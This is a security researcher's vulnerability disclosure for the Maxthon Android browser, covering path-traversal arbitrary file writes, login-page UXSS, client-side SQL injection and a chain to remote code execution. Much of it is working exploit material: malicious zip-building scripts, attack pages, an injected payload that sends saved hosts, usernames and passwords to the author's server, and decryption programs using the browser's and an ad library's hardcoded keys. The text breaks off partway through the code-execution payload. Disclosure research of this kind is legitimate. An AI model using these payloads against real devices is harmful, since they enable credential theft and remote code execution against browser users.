Maxthon Browser is another popular Android browser that is used instead of the stock browser. I have identified a number of interesting, and severe, vulnerabilities in the Android version of the browser that could result in remote code execution and information leakage.

  • Exposed JavaScript Interface allows for arbitrary file writes - A malicious webpage can force the browser to download a zip file, which the browser will put onto the SD card and unzip, by calling the installWebApp method with the desired URL. Due to a lack of input validation on the zip entry filenames, an attacker could craft a malicious zip file that uses path traversal to overwrite arbitrary files within the browser’s sandbox. This vulnerability can be exploited to achieve remote code execution as I’ll demonstrate later.
  • Exposed JavaScript Interface allows for login page UXSS - A malicious webpage can alter the login page form autofill data associated with other domains by calling the catchform method. The autofill information is injected into login pages using some dynamically built JS code and the browser does not properly output encode the data therefore we can abuse this to launch login page UXSS attacks.
  • Exposed JavaScript Interface allows for SQL Injection into a client-side SQLite database - The code designed to store the form autofill data is also vulnerable to SQL injection. Its possible to corrupt the client-side database or remotely extract out all the information from the autofill table, which includes saved credentials. While I was able to find a number of examples of client-side SQL injection vulnerabilities triggered by IPC in Android applications (like this one from Dominic Chell) and one example of a client-side SQL injection vulnerability triggered remotely by a WAP push from the Baidu X-Team, I couldn’t find published examples about remotely exfiltrating data from a SQLite database associated with an Android application. So this might be the first published example of remote client-side SQL injection against an Android application in which it is feasible to remotely exfiltrate data out of the SQLite database using the login page UXSS exploit as out-of-band communication technique. Ping me if you have other interesting examples.

Update: I also confirmed that the privacy research conducted by Exatel security researchers against the desktop version of Maxthon also pertains to the Android version of the browser. Mainly that the Android application will send the URLs that you type into the address bar to a third party server (g.dcs.maxthon.com) over HTTP in an encrypted form (encrypted using AES/ECB and a hardcoded encryption key).

JS Interface Attack Surface

The Maxthon browser uses the [addJavascriptInterface](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)) method to inject multiple Java objects into the WebView used to load webpages. On older devices (< 4.2), this can be exploited trivially to gain RCE by abusing reflection(pix). On newer devices we have to explore each of the exposed methods associated with the JS interfaces to find interesting functionality that could be abused.

The JS interface attack surface of this application is quite large, which makes our job easier or more difficult depending on how you look at the problem. Consider the fact that all of the following Java methods are exposed to untrusted JS code in webpages by the Maxthon browser.

  • com.mx.jsobject.AppcenterLocalImpl

    • Methods: jsCall
  • com.mx.browser.navigation.reader.ca

    • Methods: getContent
  • com.mx.jsobject.JsObjAppcenter

    • Methods: jsCall
  • com.mx.jsobject.JsObjAutoFill

    • Methods: catchform, enableAutoFill, getLoginButtonSignatureCodes, getNonLoginButtonSignatureCodes, getNonUsernameSignatureCodes, getTest, getUsernameSignatureCodes
  • com.mx.jsobject.JsObjGuestSignIn

    • Methods: getPostUrl, signin
  • com.mx.jsobject.JsObjMxBrowser

    • Methods: addLauncherShortcut, getAndroidId, getChannelId, getCountry, getDeviceId, getDeviceType, getEncodedDeviceCloudId, getLanguage, getMxLang, getObjectName, getPlatformCode, getSysReleaseVersion, getVersionCode, getVersionName, installWebApp, isAutoLoadImage, isSupportTimeLine, shareMsgToWXTimeLine, shareToAll, shareToSinaWeibo, shareToSinaWeibo, shareToWXTimeLine, shareToWeChatTimeLine
  • com.mx.jsobject.JsObjNextPage

    • Methods: notifyFoundNextPage
  • com.mx.browser.readmode.JsObjReadDetect

    • Methods: notifyReadModeSuccess
  • com.mx.browser.readmode.JsObjReadNext

    • Methods: notifyReadModeFail, notifyReadModeSuccess
  • com.mx.jsobject.JsObjShareHelper

    • Methods: shareTo
  • com.mx.jsobject.JsTouchIconExtractor

    • Methods: onReceivedTouchIcons
  • com.mx.browser.readmode.ReadModeActivity$JsObjReadHtml

    • Methods: changeColorMode, getHtml, notifyFontSizeChanged, pageDown
  • com.mx.browser.navigation.reader. RssNewsReaderActivity$ReaderForLocalClientView$JsObjRssReader

    • Methods: getAuthor, getContent, getObjectName, getSource, getTime, getTitle, loadImage, openImageBrowser
  • com.mx.browser.navigation.reader. RssNewsReaderActivity$ReaderForPushClientView$JsObjRssReader

    • Methods: getAuthor, getContent, getSouce, getTime, getTitle

Finding the Arbitrary File Write Vulnerability

After looking at quite a few exposed methods in the decompiled code, I came across the method called installWebApp.

    @JavascriptInterface public void installWebApp(String arg4) {
        String v0 = t.a(arg4);
        p.a(arg4, "/sdcard/webapp/" + v0, null);
        u.b("/sdcard/webapp/" + v0);
        d.b().a();
        Toast.makeText(this.mContext, "webapp installed", 1).show();
    }

I then proceeded to review the decompiled code of all the methods called by the installWebApp method.

  1. com.mx.c.t’s a method converts a URL into a filename. For example, if you provide http://www.example.org/blah.zip to the method, then it returns blah.zip.

  2. com.mx.browser.f.p’s a method downloads the provided URL using the Apache HttpClient and then saves the file using the provided filename (/sdcard/webapp/[zip filename]).

  3. com.mx.c.u’s b method unzips the file on the SD card using the ZipFile, and ZipEntry, classes as shown in the following code. Note that no input validation exists on the zip entry filenames.

    public static void b(String arg8) {
        File v4;
        Object v0_2;
        try {
            File v0_1 = new File(arg8);
            String v1 = arg8.substring(0, arg8.length() - 4);
            new File(v1).mkdir();
            System.out.println(v1 + " created");
            ZipFile v2 = new ZipFile(v0_1);
            Enumeration v3 = v2.entries();
            do {
            label_20:
                if(!v3.hasMoreElements()) {
                    return;
                }

                v0_2 = v3.nextElement();
                v4 = new File(v1, ((ZipEntry)v0_2).getName());
                v4.getParentFile().mkdirs();
            }
            while(((ZipEntry)v0_2).isDirectory());

            System.out.println("Extracting " + v4);
            BufferedInputStream v5 = new BufferedInputStream(v2.getInputStream(((ZipEntry)v0_2)));
            byte[] v0_3 = new byte[1024];
            BufferedOutputStream v4_1 = new BufferedOutputStream(new FileOutputStream(v4), 1024);
            while(true) {
                int v6 = v5.read(v0_3, 0, 1024);
                if(v6 == -1) {
                    break;
                }

                v4_1.write(v0_3, 0, v6);
            }

            v4_1.flush();
            v4_1.close();
            v5.close();
            goto label_20;
        }
        catch(IOException v0) {
            System.out.println("IOError :" + v0);
        }
    }

At this point I stopped reverse engineering this method because it was clear that a malicious webpage loaded into the browser could force the application to download, and unzip, a zip file hosted on the attacker’s web server. And due to the lack of input validation on zip entry filenames, we can use path traversal to overwrite arbitrary files accessible to the browser.

Exploiting the Arbitrary File Write Vulnerability Part 1 - Simple PoC

First we need to build the malicious zip file using the following Python code. FYI, this code assumes that the /sdcard/ directory is symlinked to the /storage/emulated/legacy/ directory. Eventually the browser will write the maxFileWriteTest.txt to /storage/emulated/legacy/webapp/maxFileWriteTest9843/../../../data/data/com.mx.browser/maxFileWriteTest.txt, which is equivalent to /data/data/com.mx.browser/maxFileWriteTest.txt.

import zipfile
import sys

if __name__ == "__main__":
    try:
        with open("maxFileWriteTest.txt", "r") as f:
            binary = f.read()
            zipFile = zipfile.ZipFile("maxFileWriteTest9843.zip", "a", zipfile.ZIP_DEFLATED)
            info = zipfile.ZipInfo("maxFileWriteTest9843.zip")
            zipFile.writestr("../../../../../data/data/com.mx.browser/files/maxFileWriteTest.txt", binary)
            zipFile.close()
    except IOError as e:
        raise e

Lets verify that the zip file was created properly using the unzip command and the list archives option. Looks good.

$ unzip -l maxFileWriteTest9843.zip
Archive:  maxFileWriteTest9843.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
        4  02-11-16 15:38   ../../../../../data/data/com.mx.browser/files/maxFileWriteTest.txt
 --------                   -------
        4                   1 file

Ok, now build the malicious webpage that uses the installWebApp method to force the browser to download and unzip our file.

<html>
<body>
<script>
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteTest9843.zip");
</script>
</body>
</html>

When the browser visits the malicious webpage then the “webapp” is automatically installed. By inspecting the the /data/data/com.mx.browser/files directory it is clear that we can write arbitrary files into the browser’s application directory. The only indication to the victim that something suspicious happened is a pop-up stating that the “webapp installed.”

Finding the Login Page UXSS Vulnerability

At this point I switched gears and started to look for vulnerabilities in the browser’s login page autofill functionality. I was hoping to find a similar information leakage vulnerability that would allow extraction of credentials (similar to the Javelin Browser vulnerability), but ended up finding a login page UXSS vulnerability instead. The following describes the basic autofill functionality of the Maxthon browser.

  1. The browser injects JavaScript code into every page that is loaded via the WebView’s loadUrl method.

  2. This JavaScript code looks for form inputs that appear to be related to a login page based on the name attributes (username, password, passwd, etc.) and hooks the form by hijacking the submit event handler.

  3. When the user submits the identified login form, the injected JavaScript code “catches” the form by passing the current URL, username, and password to the Java code via a JS interface named mxautofill (com.mx.jsobject.JsObjAutoFill class). No input validation occurs here.

  4. When the user browses to a page that has associated saved autofill information (determined via domain) then the username and password are injected into the target page using JavaScript by the run method in the com.mx.browser.a.e class. Note that no JS output escaping occurs at this step.

    public final void run() {
        new StringBuilder("javascript:mx_form_fill(").append(this.a.a).append(" , ").append(this.a.b).append(")").toString();
        h.f();
        this.b.b.loadUrl("javascript:mx_form_fill(\'" + this.a.a + "\' , \'" + this.a.b + "\')");
    }

Basically, a page hosted from evil.com can force the browser to save autofill information associated with any other domain (google.com, twitter.com, yahoo.com, etc.) and malicious autofill information can be used to inject in arbitrary JavaScript into the login pages of other domains due to a lack of input validation and escaping when building the mx_form_fill call.

Exploiting the Login Page UXSS Vulnerability

All we need to do to build the exploit page is to pass a JSON payload that contains the target URL, username, and password to the mxautofill’s catchform method as demonstrated in the following HTML and JavaScript code.

<html>
<body>
<script>
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"loginxsstest@gmail.com"},{"id":"password","name":"password","value":"fakepassword\'-alert(\'LoginUXSS:\'+document.domain)-\'"}]}';
mxautofill.catchform(json);
</script>
</body>
</html>

When the user visits the malicious page, the user is prompted to “save your account?” and the user must tap yes before the browser persists the autofill information. Granted the user would assume that they are saving autofill information for the current domain, not an arbitrary domain.

The next time the victim visits the Google login page, the browser injects the following JavaScript into the page via the WebView’s loadUrl method in the com.mx.browser.a.e class.

javascript:mx_form_fill(‘loginxsstest@gmail.com’ , ‘fakepassword’-alert(‘LoginUXSS:'+document.domain)-'')

And a JavaScript pop-up should appear executing in the context of accounts.google.com.

Exploiting the Arbitrary File Write Vulnerability Part 2 - Overwrite DB in order to trigger UXSS issue without user interaction.

Normally exploiting the login page UXSS vulnerability requires some user interaction since the victim must tap yes to the “save your account?” prompt, but given that there also exists an arbitrary file write vulnerability we can chain the vulnerabilities together to achieve the same goal without user interaction using the following steps.

  1. Create a SQLite database (mxbrowser_default.db) that contains autofill information for multiple popular domains. Again, we will inject in our JavaScript code in the username field.

  2. Craft a zip file designed to overwrite the browser’s SQLite database (mxbrowser_default.db) using path traversal.

  3. Trick the victim to browse to a malicious page that triggers the installWebApp method, which forces the victim’s browser to download and unzip our zip file. At this point the victim’s SQLite database is replaced with the one we crafted.

  4. The next time the victim visits the login page of one of these popular domains our JavaScript code gets injected into the page.

I just extracted the relevant SQLite database from my device (/data/data/com.mx.browser/databases/mxbrowser_default.db) and modified the mxautofill table with a SQLite client.

We can use the following Python code to build the zip file.

import zipfile
import sys

if __name__ == "__main__":
    try:
        with open("mxbrowser_default.db", "r") as f:
            binary = f.read()
            zipFile = zipfile.ZipFile("maxFileWriteToLoginUXSS6324.zip", "a", zipfile.ZIP_DEFLATED)
            zipFile.writestr("../../../../../data/data/com.mx.browser/databases/mxbrowser_default.db", binary)
            zipFile.close()
    except IOError as e:
        raise e

Then we craft the HTML page that calls the installWebApp method.

<html>
<body>
<script>
mmbrowser.installWebApp("http://d3adend.org/test/maxFileWriteToLoginUXSS6324.zip");
</script>
</body>
</html>

At this point if the victim visits the malicious page using the Maxthon browser then their local SQLite database gets overwritten with the one we crafted and our JavaScript code will execute when the victim goes to the Yahoo, Twitter, or Google login pages.

Finding the Client-Side SQL Injection Vulnerability

So far we have been abusing the catchform method to exploit a UXSS vulnerability, but it is also possible to abuse the exposed catchform method to trigger a client-side SQL injection vulnerability in the mxbrowser_default database, which allows for remotely compromising the integrity and confidentiality of this database.

Consider the following code taken from the com.mx.browser.a.f class. When a username/password row doesn’t exist for a domain then a parameterized SQL statement is used to insert the data into the local database. When a username/password row already exists for the domain then an UPDATE SQL statement is built using dynamic string concatenation. A malicious web page controls the b variable (username) and the a variable (host), but does not directly control the c variable (password) since the password is encrypted and encoded.

        Cursor v1;
        SQLiteDatabase v0 = g.a().d();
        String v2 = "select * from mxautofill where host =?";
        h.f();
        try {
            v1 = v0.rawQuery(v2, new String[]{this.a});
            if(v1.getCount() <= 0) {
                ContentValues v2_1 = new ContentValues();
                v2_1.put("host", this.a);
                v2_1.put("username", this.b);
                v2_1.put("password", this.c);
                v0.insert("mxautofill", null, v2_1);
            }
            else {
                v1.moveToFirst();
                v1.getColumnIndexOrThrow("host");
                v2 = "update mxautofill set username = \'" + this.b + "\',passwrd = \'" + this.c + "\' where host = \'" + this.a + "\'";
                h.f();
                v0.execSQL(v2);
            }
        }

Triggering the Login Page UXSS on all saved domains by corrupting the DB via SQL injection.

Given that the SQL statement that we can inject into is an UPDATE statement designed to change the autofill information for one domain, the easiest exploit that I could think of was to manipulate the UPDATE statement to corrupt all the saved autofill information with data designed to exploit the login page UXSS vulnerability. This exploit will allow us to inject JavaScript into every login page that the victim normally uses (assuming the victim uses the autofill functionality at all).

I built the following HTML page to exploit the SQL vulnerability by calling the catchform method. Note that our exploit must attempt to update autofill information with a domain that the browser has previously stored information about given that the SQL injection vulnerability is associated with the UPDATE statement, not the initial INSERT statement. Therefore an attacker would likely choose a popular URL to provide as the documentURI value.

<html>
<body>
<script>
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"loginsqltest@gmail.com\'\'-alert(\'\'SqlTest:\'\'+document.domain)-\'\'\'--"},{"id":"password","name":"password","value":"fakepassword"}]}';
mxautofill.catchform(json);
</script>
</body>
</html>

When the user visits the malicious page, the user is prompted to “save your account?” and the user must tap yes before the SQL injection vulnerability is exploited.

The browser then executes the following SQL statement. Note that we are injecting in our JavaScript within the username field and then using SQL injection to comment out the rest of the SQL statement including the WHERE clause that is designed to limit the update to only one row.

update mxautofill set username = 'loginsqltest@gmail.com''-alert(''SqlTest:''+document.domain)-'''-- ',password = '3tJIh6TbL87pyKZJOCaZag%3D%3D' where host = 'accounts.google.com'

By inspecting the SQLite database on the device we know that we were successful at updating all the rows in the mxautofill table.

Again, when the victim visits the login page of one of the domains that had stored autofill information our JavaScript code executes via the WebView’s loadUrl method.

javascript:mx_form_fill('loginsqltest@gmail.com’-alert(‘SqlTest:'+document.domain)-'’,‘fakepassword’)

Data Exfiltration using SQL Injection and Login Page UXSS

What if we want to remotely extract all the usernames and encrypted passwords from the mxautofill table? I built the following HTML page to exploit the SQL vulnerability and achieve this goal. Basically, we will use an inner query to build a JavaScript string that contains all of the hosts, usernames, and encrypted passwords stored in the table. Then we use the login page UXSS vulnerability and AJAX to exfiltrate the information off the device.

<html>
<body>
<script>
var json = '{"documentURI":"https://accounts.google.com/","inputs":[{"id":"username","name":"username","value":"\'\');var request=new XMLHttpRequest();dataToSteal=\'\'\'||(SELECT GROUP_CONCAT(host||\':\'||username||\':\'||password) from mxautofill)||\'\'\';request.open(\'\'GET\'\',\'\'http://d3adend.org/c.php?c=\'\'+dataToSteal,false);request.send();//\'--"},{"id":"password","name":"password","value":"fakepassword"}]}';
mxautofill.catchform(json);
</script>
</body>
</html>

When the user visits the malicious page, the user is prompted to “save your account?” and the user must tap yes before the SQL injection vulnerability is exploited.

The browser then executes the following SQL statement.

update mxautofill set username = ''');var request=new XMLHttpRequest();dataToSteal='''||(SELECT GROUP_CONCAT(host||':'||username||':'||password) from mxautofill)||''';request.open(''GET'',''http://d3adend.org/c.php?c=''+dataToSteal,false);request.send();//'--',password = '3tJIh6TbL87pyKZJOCaZag%3D%3D' where host = 'accounts.google.com'

All the rows in the mxautofill table have been updated in the client-side database.

When the victim visits the login page of one of the domains that had stored autofill information our JavaScript code executes. During actual exploitation, the dataToSteal variable will contain real account credentials.

javascript:mx_form_fill('');var request=new XMLHttpRequest(); dataToSteal='acccount_1_hostname:account_1_username:account_1_encrypted_password, acccount_2_hostname:account_2_username:account_2_encrypted_password,etc.'; request.open('GET','http://d3adend.org/c.php?c='+dataToSteal,false);request.send();//'','fakepassword')

So we now have hostnames, usernames, and encrypted passwords from the victim’s mxautofill table, but we need to decrypt the passwords. In order to acquire the encryption key I just used a custom Xposed module to hook crypto method calls associated with the autofill functionality on two different devices. On both devices Maxthon used the same hardcoded encryption key (“eu3o4[r04cml4eir”) for password storage.

Months later, I googled “eu3o4[r04cml4eir” on the off chance of getting a hit and I found some interesting privacy security research by researchers at Exatel pertaining to the Windows version of Maxthon. They concluded that the “entire user’s website browsing history reaches the server of the Maxthon creators in Beijing, including contents of all the entered Google search queries.” The desktop version of the browser was encrypting the user’s browsing history using the same encryption key that I had found in the Android version. The development team denied any wrong doing when confronted by users and the CEO later stated the following.

“Exatel also reported that Maxthon sends URLs back to its server. Just as all URL security checks work, Maxthon’s cloud security scanner module (cloud secure) checks the safety of the websites our users visit. By implementing this URL security check, Maxthon sends URLs to its server to check if the website is safe or not. As a result of these security checks, we have prevented our users from visiting millions of fake and malicious websites since 2005. In our latest version, we will add an option for users to turn off the scanner.”

I’m not sure that I believe that this functionality was actually a “cloud security scanner” as the CEO claimed, but regardless of the intent, sending encrypted browser history of the user over HTTP using a hardcoded encryption key is probably not a good idea from a security perspective. In the Android version of the browser I also found similar functionality in the com.mx.browser.statistics.z class. Note that the following code sends encrypted “statistics” data to the same URL and using the same encryption key shown in Exatel’s research.

final class z extends AsyncTask {
    z(PlayCampaignReceiver arg1, String arg2) {
        this.b = arg1;
        this.a = arg2;
        super();
    }

    private Void a() {
        JSONObject v0 = new JSONObject();
        try {
            v0.put("l", ch.r);
            v0.put("sv", ch.e);
            v0.put("cv", ch.l);
            v0.put("pn", ch.g);
            v0.put("d", ch.e());
            v0.put("pt", "gp_install");
            v0.put("m", "main");
            JSONObject v1 = new JSONObject();
            v1.put("imei", ch.m);
            v1.put("refer", this.a);
            v1.put("aid", ch.n);
            v1.put("model", ch.p);
            v1.put("mac", ch.u);
            v0.put("data", v1);
            new StringBuilder("before = ").append(v0).toString();
            String v0_3 = Uri.encode(new String(Base64.encode(a.a(v0.toString(), "eu3o4[r04cml4eir"), 2), "UTF-8"));
            new StringBuilder("after urlencode =").append(v0_3).toString();
            y v1_1 = new y();
            v0_3 = "http://g.dcs.maxthon.com/mx4/enc?keyid=default&data=" + v0_3;
            new StringBuilder("url=").append(v0_3).append(";response = ").append(v1_1.a(v0_3, 3).getStatusLine().getStatusCode()).toString();
        }

Anyways, I got distracted. Lets decrypt the passwords acquired via client-side SQL injection and login page UXSS vulnerabilities. I wrote the following simple Java program after figuring out the encryption algorithm, mode, and key used.

import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class MaxDecrypt {
    public static void main(String[] args) throws Exception {
        String rawUserDataArg = args[0];
        System.out.println("");
        if(rawUserDataArg != null) {
            String[] rawUserDataArray = rawUserDataArg.split(",");
            for(String rawUserData : rawUserDataArray) {
                String host = rawUserData.split(":")[0];
                String username = rawUserData.split(":")[1];
                String encryptedPassword = rawUserData.split(":")[2];
                String decryptedPassword = decrypt(encryptedPassword);
                
                System.out.println("====================================");
                System.out.println("Host: " + host);
                System.out.println("Username: " + username);
                System.out.println("Password: " + decryptedPassword);
            }
            System.out.println("====================================");
        }
    }
    
    public static String decrypt(String ciphertext) throws Exception {
        SecretKeySpec sks = new SecretKeySpec("eu3o4[r04cml4eir".getBytes("UTF-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding");
        Base64.Decoder decoder = Base64.getDecoder();
        byte[] ciphertextBytes = decoder.decode(ciphertext);
        cipher.init(Cipher.DECRYPT_MODE, sks);
        byte[] plaintextBytes = cipher.doFinal(ciphertextBytes);
        return new String(plaintextBytes);
    }
}

Arbitrary File Write Vulnerability - Remote Code Execution Roadblocks

In general the Android operating system makes it difficult for an arbitrary file write vulnerability in an unprivileged application to be turned into remote code execution.

  1. The application’s primary dex code, or output from the OAT process, is owned by the system user, so under normal circumstances it should not be possible to overwrite this code.

  2. The application’s lib directory, which stores its ELF shared object files, is actually a link to a directory owned by the system user, so under normal circumstances it should not be possible to overwrite this code.

That being said there are a number of situations in which an arbitrary file write vulnerability could be easily turned into remote code execution.

  1. The target application performs dynamic class loading via the DexClassLoader class and it is possible to overwrite the stored dex code.

  2. The target application improperly stores its ELF shared object files such that these files are not owned by the system user. Jake Van Dyke and rotlogix have both noted examples of applications in which the SOs are world writable, which allow for either local or remote exploitation depending on the situation.

  3. The target application is running as the system user.

  4. The target application is a multidex application running on a device that isn’t using ART.

When I initially identified these vulnerabilities I did not believe any of these conditions held, but months later when a newer version of the browser was released I noticed a few new packages were added to the codebase, including com.igexin. This is apparently an advertisement library that is labeled as a Potentially Unwanted App by Symantec bundled with certain Android applications that will collect device information and send it to a remote server. It turns out that this advertisement library performs dynamic class loading of encrypted code using the DexClassLoader class, so we can abuse this functionality to achieve remote code execution via the arbitrary file write vulnerability.

In the newer version of the browser I noticed new files in the /data/data/com.mx.browser/files directory that looked odd such as tdata_qiz011, tdata_qiz011.dex, tdata_rqS304, and tdata_rqS304.dex. Note that while the filenames look somewhat random, after installing the application on multiple devices I noticed that the filenames were not device specific.

I decided to investigate what was in the tdata_rqS304 file. I suspected that this was an encrypted JAR/APK file, but I was not sure.

The code that performs the dynamic class loading exists in the com.igexin.push.extension.a class. It appeared that the code loads a file such as tdata_rqS304, decrypts it to a JAR file such as tdata_rqS304.jar, loads a class from the JAR file, creates a new instance of the class (call the constructor), and then deletes the plaintext JAR file (to hide it from reverse engineers). I suspected that com.igexin.a.a.a.a.a was the decryption method.

    public boolean a(Context arg10, String arg11, String arg12, String arg13, String arg14) {
        Class v0_1;
        File v2 = new File(arg11);
        File v3 = new File(arg11 + ".jar");
        File v4 = new File(arg10.getFilesDir().getAbsolutePath() + "/" + arg14 + ".dex");
        this.a(v2, v3, arg13);

        if(v3.exists()) {
            try {
                DexClassLoader v2_1 = new DexClassLoader(v3.getAbsolutePath(), arg10.getFilesDir().getAbsolutePath(), null, arg10.getClassLoader());
                try {
                    v0_1 = v2_1.loadClass(arg12);
                }
                catch(Exception v2_2) {
                }
            }
            catch(Throwable v0) {
                goto label_74;
            }

            try {
                v3.delete();
                v4.exists();
                if(v0_1 == null) {
                    boolean v0_2 = false;
                    return v0_2;
                }

                Object v0_3 = v0_1.newInstance();
...
    public void a(File arg10, File arg11, String arg12) {
        BufferedOutputStream v1_5;
        Throwable v8;
        int v1_1;
        FileInputStream v2;
        BufferedOutputStream v0_2;
        FileOutputStream v2_1;
        FileInputStream v3;
        FileOutputStream v1 = null;
        try {
            v3 = new FileInputStream(arg10);
        }
        catch(Throwable v0) {
            v2_1 = v1;
            v3 = ((FileInputStream)v1);
            goto label_45;
        }
        catch(Exception v0_1) {
            v0_2 = ((BufferedOutputStream)v1);
            v2 = ((FileInputStream)v1);
            goto label_22;
        }

        try {
            v2_1 = new FileOutputStream(arg11);
        }
        catch(Throwable v0) {
            v2_1 = v1;
            goto label_45;
        }
        catch(Exception v0_1) {
            v0_2 = ((BufferedOutputStream)v1);
            v2 = v3;
            goto label_22;
        }

        try {
            v0_2 = new BufferedOutputStream(((OutputStream)v2_1));
            v1_1 = 1024;
        }
        catch(Throwable v0) {
            goto label_45;
        }
        catch(Exception v0_1) {
            v0_2 = ((BufferedOutputStream)v1_1);
            v1 = v2_1;
            v2 = v3;
            goto label_22;
        }

        try {
            byte[] v1_4 = new byte[v1_1];
            while(true) {
                int v4 = v3.read(v1_4);
                if(v4 == -1) {
                    break;
                }

                byte[] v5 = new byte[v4];
                System.arraycopy(v1_4, 0, v5, 0, v4);
                v0_2.write(com.igexin.a.a.a.a.a(v5, arg12));
            }

The com.igexin.a.a.a.a class performs the decryption using a homegrown encryption algorithm. Input validation is crucial (“key is fail!").

package com.igexin.a.a.a;

public class a {
    public static void a(int[] arg2, int arg3, int arg4) {
        int v0 = arg2[arg3];
        arg2[arg3] = arg2[arg4];
        arg2[arg4] = v0;
    }

    public static boolean a(byte[] arg6) {
        boolean v0_1;
        int v3 = arg6.length;
        if(v3  256) {
            v0_1 = false;
        }
        else {
            int v2 = 0;
            int v0 = 0;
            while(v2  3) {
                        v0_1 = false;
                        return v0_1;
                    }
                }

                ++v2;
            }

            v0_1 = true;
        }

        return v0_1;
    }

    public static byte[] a(byte[] arg1, String arg2) {
        return a.a(arg1, arg2.getBytes());
    }

    public static byte[] a(byte[] arg7, byte[] arg8) {
        int v1 = 0;
        if(!a.a(arg8)) {
            throw new IllegalArgumentException("key is fail!");
        }

        if(arg7.length <= 0) {
            throw new IllegalArgumentException("data is fail!");
        }

        int[] v3 = new int[256];
        int v0;
        for(v0 = 0; v0 < v3.length; ++v0) {
            v3[v0] = v0;
        }

        v0 = 0;
        int v2 = 0;
        while(v0 < v3.length) {
            v2 = (v2 + v3[v0] + (arg8[v0 % arg8.length] & 255)) % 256;
            a.a(v3, v0, v2);
            ++v0;
        }

        byte[] v4 = new byte[arg7.length];
        v0 = 0;
        v2 = 0;
        while(v1 < v4.length) {
            v0 = (v0 + 1) % 256;
            v2 = (v2 + v3[v0]) % 256;
            a.a(v3, v0, v2);
            v4[v1] = ((byte)(v3[(v3[v0] + v3[v2]) % 256] ^ arg7[v1]));
            ++v1;
        }

        return v4;
    }

    public static byte[] b(byte[] arg1, String arg2) {
        return a.a(arg1, arg2.getBytes());
    }
}

So now we know how the JAR file is decrypted, but we need to know the encryption key. Again, I just used dynamic analysis via an Xposed module to figure out which encryption key is used per file and which class is loaded from each file. The following is the information I acquired for the tdata_rqS304 file. I also verified that the encryption keys were not device specific by testing on another device. For example, the library decrypts the tdata_rqS304 file using “5f8286ee3424bed2b71f66d996b247b8” as the encryption key.

Method Caller: com.igexin.push.extension.a@420bfd48
Argument Types: com.igexin.sdk.PushService, java.lang.String, java.lang.String, java.lang.String, java.lang.String
Argument 0: com.igexin.sdk.PushService@420435b8
Argument 1: /data/data/com.mx.browser/files/tdata_rqS304
Argument 2: com.igexin.push.extension.distribution.basic.stub.PushExtension
Argument 3: 5f8286ee3424bed2b71f66d996b247b8
Argument 4: tdata_rqS304

Ok now we have all the information we need to decrypt the encrypted file and inspect the JAR file. The following Java program will decrypt the tdata_rqS304 file.

import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;

public class MaxDexDecrypt {
    public static void main(String[] args) throws Exception {
        String ciphertextFilename = "tdata_rqS304";
        String plaintextFilename = "tdata_rqS304.jar";
        String keyString = "5f8286ee3424bed2b71f66d996b247b8";
         
        File ciphertextFile = new File(ciphertextFilename);
        File plaintextFile = new File(plaintextFilename);
        decryptFile(ciphertextFile, plaintextFile, keyString);
    }

    public static void decryptFile(File ciphertextFile, File plaintextFile, String keyString) {
        BufferedOutputStream v1_5;
        Throwable v8;
        int v1_1;
        FileInputStream v2;
        BufferedOutputStream v0_2;
        FileOutputStream v2_1;
        FileInputStream v3;
        FileOutputStream v1 = null;
        try {
            v3 = new FileInputStream(ciphertextFile);
            v2_1 = new FileOutputStream(plaintextFile);
            v0_2 = new BufferedOutputStream(((OutputStream)v2_1));
            v1_1 = 1024;
            byte[] v1_4 = new byte[v1_1];
            while(true) {
                int v4 = v3.read(v1_4);
                if(v4 == -1) {
                    break;
                }
                byte[] v5 = new byte[v4];
                System.arraycopy(v1_4, 0, v5, 0, v4);
                v0_2.write(decrypt(v5, keyString));
            }
            v3.close();
            v0_2.flush();
            v0_2.close();
            v2_1.close();
            v3.close();
            v0_2.close();
            v2_1.close();
        }
        catch(Exception v0_1) {
        }
    }
    
    public static void junk(int[] arg2, int arg3, int arg4) {
        int v0 = arg2[arg3];
        arg2[arg3] = arg2[arg4];
        arg2[arg4] = v0;
    }
    
    public static byte[] decrypt(byte[] ciphertextBytes, String keyString) {
        return decrypt(ciphertextBytes, keyString.getBytes());
    }
    
    public static byte[] decrypt(byte[] ciphertextBytes, byte[] keyBytes) {
        int v1 = 0;
        int[] v3 = new int[256];
        int v0;
        for(v0 = 0; v0 < v3.length; ++v0) {
            v3[v0] = v0;
        }
        
        v0 = 0;
        int v2 = 0;
        while(v0 < v3.length) {
            v2 = (v2 + v3[v0] + (keyBytes[v0 % keyBytes.length] & 255)) % 256;
            junk(v3, v0, v2);
            ++v0;
        }
        
        byte[] v4 = new byte[ciphertextBytes.length];
        v0 = 0;
        v2 = 0;
        while(v1 < v4.length) {
            v0 = (v0 + 1) % 256;
            v2 = (v2 + v3[v0]) % 256;
            junk(v3, v0, v2);
            v4[v1] = ((byte)(v3[(v3[v0] + v3[v2]) % 256] ^ ciphertextBytes[v1]));
            ++v1;
        }
        return v4;
    }
}

And it worked!

Exploiting the Arbitrary File Write Vulnerability Part 3 - Remote Code Execution

At this point all the pieces came together and I realized that remote code execution via the arbitrary file write vulnerability was possible using the following technique.

  1. Create our evil Java code and compile it into an APK file.

  2. Encrypt our APK file using igexin’s super XOR encryption algorithm with “5f8286ee3424bed2b71f66d996b247b8” as the encryption key.

  3. Craft a zip file designed to overwrite the browser’s tdata_rqS304 file (encrypted JAR file).

  4. Trick the victim to browsing to a malicious page that triggers the installWebApp method, which forces the victim’s browser to download and unzip our zip file. At this point the victim’s tdata_rqS304 file is replaced with the one we crafted.

  5. The next time the browser starts up again (likely after the mobile device restarts) our code will be decrypted, loaded, and executed.

The advertisement library loads the com.igexin.push.extension.distribution.basic.stub.PushExtension class from the tdata_rqS304 file, as previously identified, so all we have to do is create an APK with the following class in it.

package com.igexin.push.extension.distribution.basic.stub;

import java.io.BufferedReader;
import java.io.InputStreamReader;

import android.util.Log;

public class PushExtension {

    public PushExtension() {
        Log.wtf("MAX", "Java code execution!");
        try {
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec("id");
